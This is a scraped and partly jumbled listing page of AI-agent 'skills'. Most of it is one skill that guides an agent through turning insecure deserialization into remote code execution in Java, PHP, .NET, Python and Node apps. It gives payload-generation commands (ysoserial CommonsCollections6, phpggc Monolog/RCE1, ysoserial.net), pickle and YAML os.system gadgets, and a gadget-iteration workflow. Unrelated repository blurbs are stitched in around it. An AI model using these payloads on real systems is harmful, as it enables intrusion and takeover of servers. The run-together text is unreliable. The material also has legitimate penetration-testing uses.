agent-security-hardening
AFaffaan-m/ECC314k3,503 new stars in the last 7 days
Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
Attacker-controlled data is deserialized: cookies/tokens/hidden fields that decode to a serialized object, __VIEWSTATE, RMI/HTTP-invoker/message-queue bodies, or a known deser-CVE stack (see web-framework-rce for the CVE map).
rO0AB... or raw hex AC ED 00 05 → Java (ObjectInputStream).O:8:"ClassName":... → PHP (unserialize()).__VIEWSTATE / AAEAAAD... → .NET (BinaryFormatter/LosFormatter).\x80\x04, c__builtin__) → Python.{"rce":"_$$ND_FUNC$$_..."} → Node (node-serialize).# Java — ysoserial (pick a gadget matching the classpath: CommonsCollections1-7, URLDNS to test reachability first):
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0 # place in the sink
# iterate gadgets: URLDNS/JRMPClient to confirm deser happens, then CC/Spring/Hibernate for RCE
# PHP — phpggc (find the framework's gadget: Laravel/Symfony/Monolog/Guzzle):
phpggc Monolog/RCE1 system id
# .NET — ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c ..."
# Python — pickle __reduce__ → os.system('id') ; Node — node-serialize _$$ND_FUNC$$_ IIFE
Proof required: id/uname (RCE). If the classpath is unknown, confirm deserialization first with a benign OOB gadget (Java URLDNS → your listener), then find the working RCE gadget; log each attempted gadget via record_vector attempt: so you don't re-try dead chains.
ysoserial (Java), phpggc (PHP), ysoserial.net (.NET), gadgetinspector for custom classpaths; nuclei -tags deserialization.
SpringBoot2/3 (Spring Core RCE CVE-2022-22965 SpringCore gadget), Jackson (CVE-2020-8840 / CVE-2021-20190), Log4j2 (JNDI), Hibernate 5/6, CommonsBeanutils 1.9.4+. ysoserial-modified / marshalsec for RMI/JRMP/LDAP.SpEL expression injection via deserialization.phpggc --list shows all.TypeConfuseDelegate, TextFormattingRunProperties, WindowsIdentity gadgets. .NET 6/7/8 compatible. DotNetSerializer for DataContractSerializer / XmlSerializer.pickle / yaml (PyYAML CVE-2020-1747 / CVE-2021-22095): !!python/object/apply:os.system / !!python/object/new:subprocess.Popen. pyyaml<=5.4 unsafe by default.node-serialize / funcster / serialize-javascript: IIFE gadget _$$ND_FUNC$$_ still works if eval/Function not blocked. gadgetinspector for custom analysis.application/x-java-serialized-object), Kafka (Avro/Protobuf schema confusion), Redis (Redis serialization), SQS (Java serialized).protobuf Any type unmarshaling → google.protobuf.Any with malicious type_url. protod / buf for schema.DateTime, JSON, Upload) that deserialize unsafely.application/octet-stream → deserialized on server.ysoserial (Java) — maintained forks: frohoff/ysoserial (original), pimps/ysoserial-modified, mbechler/marshalsec (RMI/JRMP/LDAP).phpggc (PHP) — ambionics/phpggc v6+.ysoserial.net (C#) — pwntester/ysoserial.net v2+.gadgetinspector (Java bytecode analysis) — finds custom gadget chains in target JARs.nuclei -tags deserialization (2024): deserialization-java, deserialization-php, deserialization-dotnet, deserialization-python, deserialization-node.SerializationDumper (Burp): Inspect + modify serialized objects in flight.AFaffaan-m/ECC314k3,503 new stars in the last 7 days
Audit the whole repo: find bugs, security holes and performance bottlenecks. Get a ranked report in plain English.
DIDietrichGebert/ponytail202k4,226 new stars in the last 7 days
GAgarrytan/gstack143k524 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days
RUruvnet/RuView106k596 new stars in the last 7 days